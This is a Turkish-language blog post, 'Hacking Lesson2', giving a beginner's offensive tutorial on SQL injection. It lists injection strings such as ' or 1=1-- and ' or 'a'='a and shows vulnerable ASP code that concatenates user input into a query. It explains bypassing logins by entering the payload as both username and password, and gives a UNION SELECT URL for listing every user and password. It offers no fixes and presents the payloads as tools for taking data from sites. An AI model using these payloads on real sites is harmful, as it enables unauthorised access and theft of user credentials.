Blogda Ara

7 Mart 2017 Salı

Hacking Lesson2 - Sql Injection'a Giriş


SQL Injection nedir?

Bana göre SQL injection, dışardan ekleyebileceğimiz komutları ve sorguları çalıştıran ve bunları doğru veya yanlış olarak bizlere çıktı olarak gösteren bir sorgulama sistemidir.

Kullanıcıdan aldığı parametreleri sorgulara dönüştürme yöntemidir. Kısacası sizin girdiğiniz bilgileri veritabanına ileterek doğru ise giriş yanlış ise giriş izni vermeyen döngüsel değerlerden oluşan sorgulardır.

Sizler için sql açığı hatasını almanın ve sorgulama işlemlerini devam ettirmek için kullanılan değişken ' tek tırnak işaretidir.

SORGULAMA DEĞERLERİ

Tek tırnak dışında en etkin olarak kullanılan değerler aşağıdaki gibidir.

'a '' \  -' \  

Diyelim ki PHP kodlamasına sahip bir web sayfasından aşağıdaki gibi bir parametre alalım.


İlk olarak tek tırnak işareti ekleme taktiğini deneyelim:

turkz' or 1=1--

İsterseniz Kullanıcı adı & şifre girişinde isterseniz,

URL [ ID ]  parametresinden sonra deneyiniz.

LOGİN ÖRNEK

- Login: turkz' or 1=1--
- Pass: turkz' or 1=1--

Örnek URL : 


Her SQL açığı barındıran sitede işe yaramayabilir, bunun için '' Hidden '' gibi yöntemlerde incelenebilir. Hidden için daha sonraki dersleri takip edelim.

' or 1=1--  Ne işe yaradığını açıklığa kavuşturalım.
' or 1=1-- in neden önemli olduğuna bir örnekle bakalım.

Login'i aldatmaktan başka yollarda vardır.

Aşağıdaki gibi bir asp sayfası düşünün:


 ''hacker'' değişkene atanan değerdir. Script sistem kodlaması ASP olduğu için örnek olarak bir ASP kodu kullanılır:

v_cat = request("news")
sqlstr = "SELECT * FROM kategori WHERE PNews='" & v_cat & "'"
set rs=conn.execute(sqlstr)

Görüldüğü gibi değişkenimiz v_cat değişkenine atanıyor,
 SQL sorgusu sonucu aşağıdaki gibi oluyor:

SELECT * FROM kategori WHERE PNews='hacker'

Sorgu WHERE ('hacker') şartına uygun olarak
 birden fazla sonuç çıkartacaktır.

URL'yi aşağıdaki gibi değiştirdiğimizde ise:


Böylece v_cat değişkenimiz "hacker' or 1=1--"  oluyor..

SQL sorgusunda kullanılırsa:

SELECT * FROM kategori WHERE PNews='hacker' or 1=1--'

Sorgu, PNews 'hacker' değerine sahip olsa yada olmasa, sorguları döndürmeye devam edecektir.. -- işareti SQL sunucusuna

-- değişkeninden sonra gelen bütün girdileri gösterme yada yok et anlamına gelmektedir.

SQL Server değilse eğer, Yukardaki değeri girdiğiniz halde sorgunun geri kalanından kurtulamıyorsanız aşağıdaki değerleri denemeye devam ediniz.

' or 'a'='a

Bu şekilde SQL sorgusu aşağıdaki gibi olur:

SELECT * FROM kategori WHERE PNews='hacker' or 'a'='a'

SQL sorgusuna aşağıdakilerden birisinide deneyebilirsiniz.

or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

Hata mesajları ile kullanıcı bilgilerini çekmek :

Diyelim ki sitemiz aşağıdaki gibi olsun.


Turkz.org sitesine  admin - admin kullanıcı ve parolasıyla giriş yapıyorsunuz..

Site yazılımı - Sql'ye aşağıdaki gibi bir sorgu döndürecektir.

SELECT * FROM users WHERE name='admin' AND pass='admin'

Burda ana mantık girdiğiniz bilgiler kontrol edildikten sonra giriş sağlanacağı yada sağlanamayacağı...

 Pass alanına ise ' OR 1=1 -- yazdığımızda
gönderilip sorgulanacak değerlere  bakalım:

SELECT * FROM user WHERE name=''OR 1=1 --' AND pass=''OR 1=1 --'

Site yazılımı eğer önceden filtrelenmiş yada Fixlenmiş ise girişinize izin vermeyecektir.

Filtrelenmemiş ise girdiğiniz bilgileri ''doğru'' zannedip sizin girişinize izin verecektir.

Başka bir örnek verelim..


SQL açığının olduğunu ve olmadığını anlamak için.
 11 yerine yada sonunda yazalım.

SQL açığı olduğu için SQL hatası verecektir. Artık bu açığı kullanarak veritabanından istediğimiz veriyi elde edebiliriz.

 Listelenmiş sonuçlar gösterilirken SELECT kullanılır, Kullanıcı adı ve şifreleri, ve userleri listelemek için UNION SELECT kullanılır.

Örneğin :

www.turkz.org/hacker.php?id=11' UNION SELECT * FROM users

Sayfada bütün kullanıcılar ve şifreleri listelenecektir.

Sizlere Yararlı Örnek bir Video bırakarak şimdilik bu kadar diyorum.

[MEDIA=youtube]9NEna9kMz-Q[/MEDIA]

Database veri çekme sorguları bir sonraki derste olacaktır.
Lütfen alıntı yaparken Turkz.Org ve Nick kullanınız.

SELAMETLE \ COLD.

Hiç yorum yok:

Yorum Gönder

Statics